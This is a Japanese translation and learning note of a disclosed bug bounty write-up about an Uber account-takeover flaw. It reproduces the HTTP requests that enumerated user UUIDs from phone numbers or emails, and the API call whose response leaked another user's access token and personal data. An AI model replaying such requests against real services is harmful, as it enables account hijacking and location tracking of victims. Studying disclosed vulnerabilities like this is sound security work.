「How your Uber account could have been hacked!」からATOを学ぶ

ソース:

How your Uber account could have been hacked! | by Anand Prakash - PingSafe | Pingsafe | Medium

 

脆弱性:Account Take Over(ATO)、API

 

訳:

この投稿は、攻撃者が他のユーザーの Uber アカウントを乗っ取ることを可能にする Uber のアカウント乗っ取りの脆弱性に関するもので。

この脆弱性により、攻撃者は API リクエストでユーザー UUID を指定し、API レスポンスで漏洩したトークンを使用してアカウントをハイジャックすることで、他のユーザーの Uber アカウント (乗客、パートナー、イーツを含む) アカウントを乗っ取ることができます。
別の API リクエストで電話番号または電子メール アドレスを指定することで、他の Uber ユーザーの UUID を列挙することができ。 

これにより、攻撃者は漏洩した Uber モバイル アプリケーションのアクセス トークンを使用してアカウントを侵害し、被害者の位置を追跡したり、そのアカウントから配車したりすることが可能になり。
これにより、Uberドライバー、Eatsアカウントの乗っ取りも許可され。

 

ステップ 1: 任意の Uber ユーザーのユーザー UUID を取得する

以下の API により、Uber ユーザー (パートナー、ライダー、Ubereats ユーザー) の UUID (電話番号または電子メール アドレスが指定されている場合) が漏洩し。

 

API call #1

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{“nationalPhoneNumber”:”99999xxxxx”,”countryCode”:”1"}

Response:
{“status”:”failure”,”data”:{“code”:1009,”message”:”Driver ‘47d063f8–0xx5e-xxxxx-b01a-xxxx’ not found”}}

 

「47d063f8–0xx5e-4eb4-xxx-xxxxxxx」は、 電話番号 99999xxxxx を持つ Uber ユーザーの Uber UUID が漏洩しました 

 

API call #2

POST /p3/fleet-manager/_rpc?rpc=addDriverV2 HTTP/1.1
Host: partners.uber.com
{“email”:”xxx@gmail.com”}

 

応答リーク UUID: 

 

{“status”:”failure”,”data”:{“code”:1009,”message”:”Driver ‘ca111b95–1111–4396-b907–83abxxx5f7371e’ not found”}}

 

「Ca111b95–1111–4396-b907–83abxxx5f7371e」 はリークしました。Uber ユーザーの Uber UUID が漏洩、電子メール アドレスxxx@gmail.comをもつ。

 

ステップ 2: ユーザー ID を指定して、Uber ユーザーのアクセス トークンを取得

任意のユーザーの上記のリクエストから漏洩した Uber UUID を入手したら次に、被害者の Uber UUID を使用して以下のリクエストを再実行すると、アクセス トークン (モバイル アプリ)、場所、住所などの個人情報にアクセスでき。
アクセス トークンにより、被害者のアカウントを完全に乗っ取ることができまして。
漏洩したトークンを使用したテストアカウントの乗車、配車リクエスト、支払い情報の参照などでゲス。 

 

脆弱な Uber API:

POST /marketplace/_rpc?rpc=getConsentScreenDetails HTTP/1.1
Host: bonjour.uber.com
Connection: close
Content-Length: 67
Accept: application/json
Origin: https://bonjour.uber.com
x-csrf-token: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
DNT: 1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: xxxxx
{“language”:”en”,”userUuid”:”xxxx–776–4xxxx1bd-861a-837xxx604ce”}

 

応答により、モバイル アプリのアクセス トークンを含む他のユーザーのデータ全体が漏洩しました。

 

{“status”:”success”,”data”:{“data”:{“language”:”en”,”userUuid”:”xxxxxx1e”},”getUser”:{“uuid”:”cxxxxxc5f7371e”,”firstname”:”Maxxxx”,”lastname”:”XXXX”,”role”:”PARTNER”,”languageId”:1,”countryId”:77,”mobile”:null,”mobileToken”:1234,”mobileCountryId”:77,”mobileCountryCode”:”+91",”hasAmbiguousMobileCountry”:false,”lastConfirmedMobileCountryId”:77,”email”:”xxxx@gmail.com”,”emailToken”:”xxxxxxxx”,”hasConfirmedMobile”:”no”,”hasOptedInSmsMarketing”:false,”hasConfirmedEmail”:true,”gratuity”:0.3,”nickname”:”abc@gmail.com”,”location”:”00000",”banned”:false,”cardio”:false,”token”:”b8038ec4143bb4xxxxxx72d”,”fraudScore”:0,”inviterUuid”:null,”pictureUrl”:”xxxxx.jpeg”,”recentFareSplitterUuids”:[“xxx”],”lastSelectedPaymentProfileUuid”:”xxxxxx”,”lastSelectedPaymentProfileGoogleWalletUuid”:null,”inviteCode”:{“promotionCodeId”:xxxxx,”promotionCodeUuid”:”xxxx”,”promotionCode”:”manishas105",”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,215,101]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,76,65,211,61,9]}},”driverInfo”:{“contactinfo”:”999999999xx”,”contactinfoCountryCode”:”+91",”driverLicense”:”None”,”firstDriverTripUuid”:null,”iphone”:null,”partnerUserUuid”:”xxxxxxx”,”receiveSms”:true,”twilioNumber”:null,”twilioNumberFormatted”:null,”cityknowledgeScore”:0,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,84,21,124,80,52]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,86,152,77,41,77]},”deletedAt”:null,”driverStatus”:”APPLIED”,”driverFlowType”:”UBERX”,”statusLocks”:null,”contactinfoCountryIso2Code”:”KR”,”driverEngagement”:null,”courierEngagement”:null},”partnerInfo”:{“address”:”Nxxxxxxx”,”territoryUuid”:”xxxxxx”,”company”:”None”,”address2":”None”,”cityId”:130,”cityName”:”None”,”firstPartnerTripUuid”:null,”preferredCollectionPaymentProfileUuid”:null,”phone”:””,”phoneCountryCode”:”+91",”state”:”None”,”vatNumber”:”None”,”zipcode”:”None”,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,84,21,124,80,52]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,101,38,177,88,137]},”deletedAt”:null,”fleetTypes”:[],”fleetServices”:[],”isFleet”:true},”analytics”:{“signupLat”:133.28741199,”signupLng”:11177.1111,”signupTerritoryUuid”:”xxxxx”,”signupPromoId”:null,”signupForm”:”iphone”,”signupSessionId”:”xxxxxxx”,”signupAppVersion”:”2.64.1",”signupAttributionMethod”:null,”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,219,1]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,219,1]},”signupCityId”:130,”signupDeviceId”:null,”signupReferralId”:null,”signupPromoCode”:null,”signupPromoCodeUuid”:null,”signupPromoUuid”:null,”signupMethod”:”REGULAR”},”createdAt”:{“type”:”Buffer”,”data”:[0,0,1,76,2,21,215,153]},”updatedAt”:{“type”:”Buffer”,”data”:[0,0,1,102,81,35,153,135]},”deletedAt”:null,”tenancy”:”uber/production”,”mobileConfirmationStatus”:”MOBILE_NOT_CONFIRMED”,”nationalId”:null,”nationalIdType”:null,”merchantLocation”:null,”lastConfirmedMobile”:”xxxxxxxxxx”,”requestedDeletionAt”:null,”dateOfBirth”:xxxxxx,”userTypes”:null,”preferredName”:”xxxxxxxx”,”freightInfo”:null,”tempPictureUrl”:null,”identityVerified”:null,”paymentEntityType”:null,”riderEngagement”:null,”identityRejectReasonUuid”:null,”genderInferred”:null,”genderIdentity”:null,”genderDocumented”:null,”riderIneligibleWdw”:null,”defaultPaymentProfileByProduct”:null,”loginEligibility”:null},”getDisclosureVersionUuid”:””,”getLocaleCopy”:null}}


ほなほな。